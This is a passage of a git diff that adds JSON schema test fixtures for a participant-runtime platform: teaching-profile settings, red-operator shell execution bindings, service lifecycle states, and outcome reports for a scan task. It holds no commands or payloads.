"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + } + }, + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "other-sink", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + } + } + ], + "bounds": { + "expires_at_order": 20, + "max_attempts": 3, + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1 + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1" + } + ], + "interpretation": "participant-control-applicability/rev1", + "obligations": [ + { + "constraints": [], + "obligation_id": "teaching-here", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "ifc-fact", + "required_strength": "exact" + }, + { + "constraints": [], + "obligation_id": "teaching-there", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "ifc-fact", + "required_strength": "exact" + } + ], + "required_profiles": [ + "teaching-influence" + ], + "schema_version": "participant-control-selection/v2", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "slots": [ + { + "constraints": [], + "dependencies": [], + "instance_id": "influence", + "kind": "ifc-fact", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "fact" + }, + { + "constraints": [], + "dependencies": [], + "instance_id": "other", + "kind": "ifc-fact", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "other-fact" + } + ] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-teaching-profile-v1/invalid/teaching.json b/contracts/fixtures/participant-runtime/participant-control-teaching-profile-v1/invalid/teaching.json new file mode 100644 index 000000000..98a509d75 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-teaching-profile-v1/invalid/teaching.json @@ -0,0 +1,21 @@ +{ + "schema_version": "participant-control-teaching-profile/v1", + "profile_id": "teaching-influence", + "profile_revision": "rev1", + "semantic_revision": "sem-235/rev1", + "domain": "teaching-influence-domain/rev1", + "tokens": [ + "coached-hint", + "worked-example" + ], + "order": "subset", + "join": "union", + "unknown_source": "unknown", + "memory": "retain-across-episodes", + "release": "teacher-authorized", + "sinks": [ + "practice-action", + "teaching-observation" + ], + "trigger_rule": "hint-followup/1" +} diff --git a/contracts/fixtures/participant-runtime/participant-control-teaching-profile-v1/valid/teaching.json b/contracts/fixtures/participant-runtime/participant-control-teaching-profile-v1/valid/teaching.json new file mode 100644 index 000000000..24bcdcd50 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-teaching-profile-v1/valid/teaching.json @@ -0,0 +1,21 @@ +{ + "schema_version": "participant-control-teaching-profile/v1", + "profile_id": "teaching-influence", + "profile_revision": "rev1", + "semantic_revision": "sem-235/rev1", + "domain": "teaching-influence-domain/rev1", + "tokens": [ + "coached-hint", + "worked-example" + ], + "order": "subset", + "join": "union", + "unknown_source": "unknown", + "memory": "retain-across-episodes", + "release": "none", + "sinks": [ + "practice-action", + "teaching-observation" + ], + "trigger_rule": "hint-followup/1" +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-binding-v1/invalid/duplicate-target-address.json b/contracts/fixtures/participant-runtime/participant-execution-binding-v1/invalid/duplicate-target-address.json new file mode 100644 index 000000000..192f5c349 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-binding-v1/invalid/duplicate-target-address.json @@ -0,0 +1,20 @@ +{ + "action_contract_address": "actions.shell.execute", + "binding_id": "binding-red-operator-shell-v1", + "constraint_refs": [ + "constraints/red-operator-shell-scope-v1" + ], + "evidence_refs": [ + "evidence/red-operator-shell-transcript-v1" + ], + "max_action_attempts": 3, + "max_in_flight": 2, + "max_retries": 1, + "participant_implementation_ref": "participant-implementations/red-operator-v1", + "schema_version": "participant-execution-binding/v1", + "target_addresses": [ + "targets.red.workstation", + "targets.red.workstation" + ], + "timeout_seconds": 120 +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-binding-v1/invalid/unbounded-in-flight.json b/contracts/fixtures/participant-runtime/participant-execution-binding-v1/invalid/unbounded-in-flight.json new file mode 100644 index 000000000..d458f1f75 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-binding-v1/invalid/unbounded-in-flight.json @@ -0,0 +1,20 @@ +{ + "action_contract_address": "actions.shell.execute", + "binding_id": "binding-red-operator-shell-v1", + "constraint_refs": [ + "constraints/red-operator-shell-scope-v1" + ], + "evidence_refs": [ + "evidence/red-operator-shell-transcript-v1" + ], + "max_action_attempts": 3, + "max_in_flight": 0, + "max_retries": 1, + "participant_implementation_ref": "participant-implementations/red-operator-v1", + "schema_version": "participant-execution-binding/v1", + "target_addresses": [ + "targets.red.workstation", + "targets.red.jumphost" + ], + "timeout_seconds": 120 +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-binding-v1/valid/reference.json b/contracts/fixtures/participant-runtime/participant-execution-binding-v1/valid/reference.json new file mode 100644 index 000000000..03d38435b --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-binding-v1/valid/reference.json @@ -0,0 +1,20 @@ +{ + "action_contract_address": "actions.shell.execute", + "binding_id": "binding-red-operator-shell-v1", + "constraint_refs": [ + "constraints/red-operator-shell-scope-v1" + ], + "evidence_refs": [ + "evidence/red-operator-shell-transcript-v1" + ], + "max_action_attempts": 3, + "max_in_flight": 2, + "max_retries": 1, + "participant_implementation_ref": "participant-implementations/red-operator-v1", + "schema_version": "participant-execution-binding/v1", + "target_addresses": [ + "targets.red.workstation", + "targets.red.jumphost" + ], + "timeout_seconds": 120 +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-control-v1/invalid/drain-without-timeout.json b/contracts/fixtures/participant-runtime/participant-execution-control-v1/invalid/drain-without-timeout.json new file mode 100644 index 000000000..2518198b8 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-control-v1/invalid/drain-without-timeout.json @@ -0,0 +1,7 @@ +{ + "action": "drain", + "execution_scope_ref": "execution-scopes/red-operator-v1", + "expected_generation": 5, + "schema_version": "participant-execution-control/v1", + "timeout_seconds": null +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-control-v1/invalid/unknown-action.json b/contracts/fixtures/participant-runtime/participant-execution-control-v1/invalid/unknown-action.json new file mode 100644 index 000000000..5c26e0f28 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-control-v1/invalid/unknown-action.json @@ -0,0 +1,7 @@ +{ + "action": "halt", + "execution_scope_ref": "execution-scopes/red-operator-v1", + "expected_generation": 4, + "schema_version": "participant-execution-control/v1", + "timeout_seconds": null +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-control-v1/valid/drain-with-timeout.json b/contracts/fixtures/participant-runtime/participant-execution-control-v1/valid/drain-with-timeout.json new file mode 100644 index 000000000..cc89450cb --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-control-v1/valid/drain-with-timeout.json @@ -0,0 +1,7 @@ +{ + "action": "drain", + "execution_scope_ref": "execution-scopes/red-operator-v1", + "expected_generation": 5, + "schema_version": "participant-execution-control/v1", + "timeout_seconds": 90 +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-control-v1/valid/start.json b/contracts/fixtures/participant-runtime/participant-execution-control-v1/valid/start.json new file mode 100644 index 000000000..b838618cb --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-control-v1/valid/start.json @@ -0,0 +1,7 @@ +{ + "action": "start", + "execution_scope_ref": "execution-scopes/red-operator-v1", + "expected_generation": 4, + "schema_version": "participant-execution-control/v1", + "timeout_seconds": null +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/invalid/admitting-while-paused.json b/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/invalid/admitting-while-paused.json new file mode 100644 index 000000000..9a5ccde7a --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/invalid/admitting-while-paused.json @@ -0,0 +1,32 @@ +{ + "accepting_new_work": true, + "binding_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "capacity": 4, + "desired_lifecycle": "running", + "draining": false, + "evidence_refs": [ + "evidence/red-operator-service-state-v1" + ], + "execution_scope_ref": "execution-scopes/red-operator-v1", + "generation": 5, + "health": "healthy", + "in_flight": 2, + "last_transition_ref": "transitions/red-operator-start-v1", + "observed_generation": 5, + "observed_lifecycle": "paused", + "pacing_deviation_refs": [], + "policy_address": "policies.participant.execution.red-operator", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "quiescent": false, + "readiness": "ready", + "reserved": 1, + "resource_budget_state_refs": [ + "resource-budget-states/red-operator-v1" + ], + "resources_released": false, + "scheduler_state_refs": [ + "scheduler-states/red-operator-v1" + ], + "schema_version": "participant-execution-service-state/v1", + "time_declaration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/invalid/capacity-overcommitted.json b/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/invalid/capacity-overcommitted.json new file mode 100644 index 000000000..91ea2a0a1 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/invalid/capacity-overcommitted.json @@ -0,0 +1,32 @@ +{ + "accepting_new_work": true, + "binding_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "capacity": 4, + "desired_lifecycle": "running", + "draining": false, + "evidence_refs": [ + "evidence/red-operator-service-state-v1" + ], + "execution_scope_ref": "execution-scopes/red-operator-v1", + "generation": 5, + "health": "healthy", + "in_flight": 3, + "last_transition_ref": "transitions/red-operator-start-v1", + "observed_generation": 5, + "observed_lifecycle": "running", + "pacing_deviation_refs": [], + "policy_address": "policies.participant.execution.red-operator", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "quiescent": false, + "readiness": "ready", + "reserved": 3, + "resource_budget_state_refs": [ + "resource-budget-states/red-operator-v1" + ], + "resources_released": false, + "scheduler_state_refs": [ + "scheduler-states/red-operator-v1" + ], + "schema_version": "participant-execution-service-state/v1", + "time_declaration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/invalid/observed-generation-ahead-of-generation.json b/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/invalid/observed-generation-ahead-of-generation.json new file mode 100644 index 000000000..e38c6ca52 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/invalid/observed-generation-ahead-of-generation.json @@ -0,0 +1,32 @@ +{ + "accepting_new_work": true, + "binding_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "capacity": 4, + "desired_lifecycle": "running", + "draining": false, + "evidence_refs": [ + "evidence/red-operator-service-state-v1" + ], + "execution_scope_ref": "execution-scopes/red-operator-v1", + "generation": 5, + "health": "healthy", + "in_flight": 2, + "last_transition_ref": "transitions/red-operator-start-v1", + "observed_generation": 7, + "observed_lifecycle": "running", + "pacing_deviation_refs": [], + "policy_address": "policies.participant.execution.red-operator", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "quiescent": false, + "readiness": "ready", + "reserved": 1, + "resource_budget_state_refs": [ + "resource-budget-states/red-operator-v1" + ], + "resources_released": false, + "scheduler_state_refs": [ + "scheduler-states/red-operator-v1" + ], + "schema_version": "participant-execution-service-state/v1", + "time_declaration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/valid/quiescent-after-drain.json b/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/valid/quiescent-after-drain.json new file mode 100644 index 000000000..3d20ede22 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/valid/quiescent-after-drain.json @@ -0,0 +1,28 @@ +{ + "accepting_new_work": false, + "binding_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "capacity": 4, + "desired_lifecycle": "quiescent", + "draining": false, + "evidence_refs": [ + "evidence/red-operator-quiescence-v1" + ], + "execution_scope_ref": "execution-scopes/red-operator-v1", + "generation": 6, + "health": "healthy", + "in_flight": 0, + "last_transition_ref": "transitions/red-operator-drain-v1", + "observed_generation": 6, + "observed_lifecycle": "quiescent", + "pacing_deviation_refs": [], + "policy_address": "policies.participant.execution.red-operator", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "quiescent": true, + "readiness": "not_ready", + "reserved": 0, + "resource_budget_state_refs": [], + "resources_released": false, + "scheduler_state_refs": [], + "schema_version": "participant-execution-service-state/v1", + "time_declaration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" +} diff --git a/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/valid/running-ready.json b/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/valid/running-ready.json new file mode 100644 index 000000000..46c945508 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-execution-service-state-v1/valid/running-ready.json @@ -0,0 +1,32 @@ +{ + "accepting_new_work": true, + "binding_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "capacity": 4, + "desired_lifecycle": "running", + "draining": false, + "evidence_refs": [ + "evidence/red-operator-service-state-v1" + ], + "execution_scope_ref": "execution-scopes/red-operator-v1", + "generation": 5, + "health": "healthy", + "in_flight": 2, + "last_transition_ref": "transitions/red-operator-start-v1", + "observed_generation": 5, + "observed_lifecycle": "running", + "pacing_deviation_refs": [], + "policy_address": "policies.participant.execution.red-operator", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "quiescent": false, + "readiness": "ready", + "reserved": 1, + "resource_budget_state_refs": [ + "resource-budget-states/red-operator-v1" + ], + "resources_released": false, + "scheduler_state_refs": [ + "scheduler-states/red-operator-v1" + ], + "schema_version": "participant-execution-service-state/v1", + "time_declaration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" +} diff --git a/contracts/fixtures/participant-runtime/participant-outcome-report-v2/invalid/missing-participant.json b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/invalid/missing-participant.json new file mode 100644 index 000000000..81ee97ad6 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/invalid/missing-participant.json @@ -0,0 +1,123 @@ +{ + "event_id": "report-1", + "schema_name": "raes.participant_runtime.outcome_report", + "schema_version": "2.0.0", + "event_type": "participant_outcome_report", + "extension_policy": "closed", + "event_classification": null, + "source_status": null, + "episode_id": "episode-1", + "sequence_number": null, + "occurred_at": "2026-05-21T09:00:00Z", + "recorded_at": "2026-05-21T09:00:00Z", + "ingested_at": "2026-05-21T09:00:00Z", + "clock_authority": "control-plane", + "temporal_context": null, + "ordering_basis": "control_plane_order", + "logical_order_ref": null, + "predecessor_event_refs": [], + "actor_ref": "operator", + "producer_ref": "runtime:participant-outcome", + "source_system_ref": null, + "source_record_ref": null, + "source_raw_ref": null, + "source_pipeline": null, + "raw_data_integrity": null, + "confidence": null, + "provenance_refs": [], + "evidence_refs": [ + "evidence.scan-output" + ], + "marking_definition_refs": [], + "object_marking_refs": [], + "markings": [], + "granular_markings": {}, + "redaction_policy_ref": null, + "authorization_scope": "runtime:control", + "outcome_id": "local-task", + "interpretation_rule_ref": "participant.outcome-interpretation-rule.scan-evidence-objective", + "rule_digest": "sha256:898d3994be1b244379c66ccf2357864700b833ce2f69edaa71b7bd3d638a15fe", + "rule_spec": { + "semantic_version": "2.0.0", + "participant_scope": "participant_local", + "observation_point_basis": "terminal participant observation event", + "interpretation_basis": "explicit SEM-215 mapping from local scan evidence to objective/evaluation meaning", + "source_bindings": [ + { + "source_id": "local-action", + "source_layer": "participant_action_outcome", + "ref": "scan", + "interpretation_role": "local action status input", + "evidence_refs": [ + "evidence.scan-output" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "alert-evidence", + "source_layer": "evidence_claim", + "ref": "evidence.alert", + "interpretation_role": "alert evidence input", + "evidence_refs": [ + "evidence.alert" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "scaffold", + "source_layer": "scaffold_variant", + "ref": "scaffold.standard", + "interpretation_role": "benchmark context input", + "evidence_refs": [], + "provenance_refs": [ + "provenance.scaffold.standard" + ], + "diagnostics": [] + } + ], + "target_bindings": [], + "local_outcome": { + "model_version": "1.0.0", + "category": "task_completion", + "criterion_basis": "The declared task requires independently evidenced effects.", + "criteria": [ + { + "criterion_id": "scan", + "source_id": "local-action", + "effect_id": "scan-evidence" + } + ], + "conflict_policy": "retain_until_explicit_correction", + "freshness_policy": "exact_observation_cut", + "episode_policy": "reset_without_transfer" + }, + "evidence_refs": [ + "evidence.alert" + ], + "limitations": [ + "local scan result is not objective success by itself", + "reward remains a derived assessment signal" + ], + "diagnostics": [] + }, + "revision": 1, + "predecessor_event_ref": null, + "behavior_history_length": 3, + "behavior_history_digest": "sha256:c15c5a6f4eed769e460c5f4ae94b824fb177cb3cf5357d2e73c31a0d045d0a36", + "observation_refs": [ + { + "action_instance_id": "scan-0001", + "observation_point": "episode-step:scan-0001:terminal-observation", + "content_digest": "sha256:690ecc18d601214a201d3210362030faf8495720d812270cb67925471d57f8c1" + } + ], + "excluded_observation_refs": [], + "correction_basis": null, + "category": "task_completion", + "attainment": "attained", + "knowledge": "supported", + "freshness": "current_at_recorded_cut", + "state_relationships": [] +} diff --git a/contracts/fixtures/participant-runtime/participant-outcome-report-v2/invalid/reward-field.json b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/invalid/reward-field.json new file mode 100644 index 000000000..ed270a04f --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/invalid/reward-field.json @@ -0,0 +1,125 @@ +{ + "event_id": "report-1", + "schema_name": "raes.participant_runtime.outcome_report", + "schema_version": "2.0.0", + "event_type": "participant_outcome_report", + "extension_policy": "closed", + "event_classification": null, + "source_status": null, + "participant_address": "participant.behavior.red-agent", + "episode_id": "episode-1", + "sequence_number": null, + "occurred_at": "2026-05-21T09:00:00Z", + "recorded_at": "2026-05-21T09:00:00Z", + "ingested_at": "2026-05-21T09:00:00Z", + "clock_authority": "control-plane", + "temporal_context": null, + "ordering_basis": "control_plane_order", + "logical_order_ref": null, + "predecessor_event_refs": [], + "actor_ref": "operator", + "producer_ref": "runtime:participant-outcome", + "source_system_ref": null, + "source_record_ref": null, + "source_raw_ref": null, + "source_pipeline": null, + "raw_data_integrity": null, + "confidence": null, + "provenance_refs": [], + "evidence_refs": [ + "evidence.scan-output" + ], + "marking_definition_refs": [], + "object_marking_refs": [], + "markings": [], + "granular_markings": {}, + "redaction_policy_ref": null, + "authorization_scope": "runtime:control", + "outcome_id": "local-task", + "interpretation_rule_ref": "participant.outcome-interpretation-rule.scan-evidence-objective", + "rule_digest": "sha256:898d3994be1b244379c66ccf2357864700b833ce2f69edaa71b7bd3d638a15fe", + "rule_spec": { + "semantic_version": "2.0.0", + "participant_scope": "participant_local", + "observation_point_basis": "terminal participant observation event", + "interpretation_basis": "explicit SEM-215 mapping from local scan evidence to objective/evaluation meaning", + "source_bindings": [ + { + "source_id": "local-action", + "source_layer": "participant_action_outcome", + "ref": "scan", + "interpretation_role": "local action status input", + "evidence_refs": [ + "evidence.scan-output" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "alert-evidence", + "source_layer": "evidence_claim", + "ref": "evidence.alert", + "interpretation_role": "alert evidence input", + "evidence_refs": [ + "evidence.alert" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "scaffold", + "source_layer": "scaffold_variant", + "ref": "scaffold.standard", + "interpretation_role": "benchmark context input", + "evidence_refs": [], + "provenance_refs": [ + "provenance.scaffold.standard" + ], + "diagnostics": [] + } + ], + "target_bindings": [], + "local_outcome": { + "model_version": "1.0.0", + "category": "task_completion", + "criterion_basis": "The declared task requires independently evidenced effects.", + "criteria": [ + { + "criterion_id": "scan", + "source_id": "local-action", + "effect_id": "scan-evidence" + } + ], + "conflict_policy": "retain_until_explicit_correction", + "freshness_policy": "exact_observation_cut", + "episode_policy": "reset_without_transfer" + }, + "evidence_refs": [ + "evidence.alert" + ], + "limitations": [ + "local scan result is not objective success by itself", + "reward remains a derived assessment signal" + ], + "diagnostics": [] + }, + "revision": 1, + "predecessor_event_ref": null, + "behavior_history_length": 3, + "behavior_history_digest": "sha256:c15c5a6f4eed769e460c5f4ae94b824fb177cb3cf5357d2e73c31a0d045d0a36", + "observation_refs": [ + { + "action_instance_id": "scan-0001", + "observation_point": "episode-step:scan-0001:terminal-observation", + "content_digest": "sha256:690ecc18d601214a201d3210362030faf8495720d812270cb67925471d57f8c1" + } + ], + "excluded_observation_refs": [], + "correction_basis": null, + "category": "task_completion", + "attainment": "attained", + "knowledge": "supported", + "freshness": "current_at_recorded_cut", + "state_relationships": [], + "reward": 1 +} diff --git a/contracts/fixtures/participant-runtime/participant-outcome-report-v2/invalid/unsupported-version.json b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/invalid/unsupported-version.json new file mode 100644 index 000000000..e6d3df261 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-outcome-report-v2/invalid/unsupported-version.json @@ -0,0 +1,124 @@ +{ + "event_id": "report-1", + "schema_name": "raes.participant_runtime.outcome_report", + "schema_version": "3.0.0", + "event_type": "participant_outcome_report", + "extension_policy": "closed", + "event_classification": null, + "source_status": null, + "participant_address": "participant.behavior.red-agent", + "episode_id": "episode-1", + "sequence_number": null, + "occurred_at": "2026-05-21T09:00:00Z", + "recorded_at": "2026-05-21T09:00:00Z", + "ingested_at": "2026-05-21T09:00:00Z", + "clock_authority": "control-plane", + "temporal_context": null, + "ordering_basis": "control_plane_order", + "logical_order_ref": null, + "predecessor_event_refs": [], + "actor_ref": "operator", + "producer_ref": "runtime:participant-outcome", + "source_system_ref": null, + "source_record_ref": null, + "source_raw_ref": null, + "source_pipeline": null, + "raw_data_integrity": null, + "confidence": null, + "provenance_refs": [], + "evidence_refs": [ + "evidence.scan-output" + ], + "marking_definition_refs": [], + "object_marking_refs": [], + "markings": [], + "granular_markings": {}, + "redaction_policy_ref": null, + "authorization_scope": "runtime:control", + "outcome_id": "local-task", + "interpretation_rule_ref": "participant.outcome-interpretation-rule.scan-evidence-objective", + "rule_digest": "sha256:898d3994be1b244379c66ccf2357864700b833ce2f69edaa71b7bd3d638a15fe", + "rule_spec": { + "semantic_version": "2.0.0", + "participant_scope": "participant_local", + "observation_point_basis": "terminal participant observation event", + "interpretation_basis": "explicit SEM-215 mapping from local scan evidence to objective/evaluation meaning", + "source_bindings": [ + { + "source_id": "local-action", + "source_layer": "participant_action_outcome", + "ref": "scan", + "interpretation_role": "local action status input", + "evidence_refs": [ + "evidence.scan-output" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "alert-evidence", + "source_layer": "evidence_claim", + "ref": "evidence.alert", + "interpretation_role": "alert evidence input", + "evidence_refs": [ + "evidence.alert" + ], + "provenance_refs": [], + "diagnostics": [] + }, + { + "source_id": "scaffold", + "source_layer": "scaffold_variant", + "ref": "scaffold.standard", + "interpretation_role": "benchmark context input", + "evidence_refs": [], + "provenance_refs": [ + "provenance.scaffold.standard" + ], + "diagnostics": [] + } + ], + "target_bindings": [], + "local_outcome": { + "model_version": "1.0.0", + "category": "task_completion", + "criterion_basis": "The declared task requires independently evidenced effects.", + "criteria": [ + { + "criterion_id": "scan", + "source_id": "local-action", + "effect_id": "scan-evidence" + } + ], + "conflict_policy": "retain_until_explicit_correction", + "freshness_policy": "exact_observation_cut", + "episode_policy": "reset_without_transfer" + }, + "evidence_refs": [ + "evidence.alert" + ], + "limitations": [ + "local scan result is not objective success by itself", + "reward remains a derived assessment signal" + ], + "diagnostics": [] + }, + "revision": 1, + "predecessor_event_ref": null, + "behavior_history_length": 3, + "behavior_history_digest": "sha256:c15c5a6f4eed769e460c5f4ae94b824fb177cb3cf5357d2e73c31a0d045d0a36", + "observation_refs": [ + { + "action_instance_id": "scan-0001", + "observation_point": "episode-step:scan-0001:terminal-observation", + "content_digest": 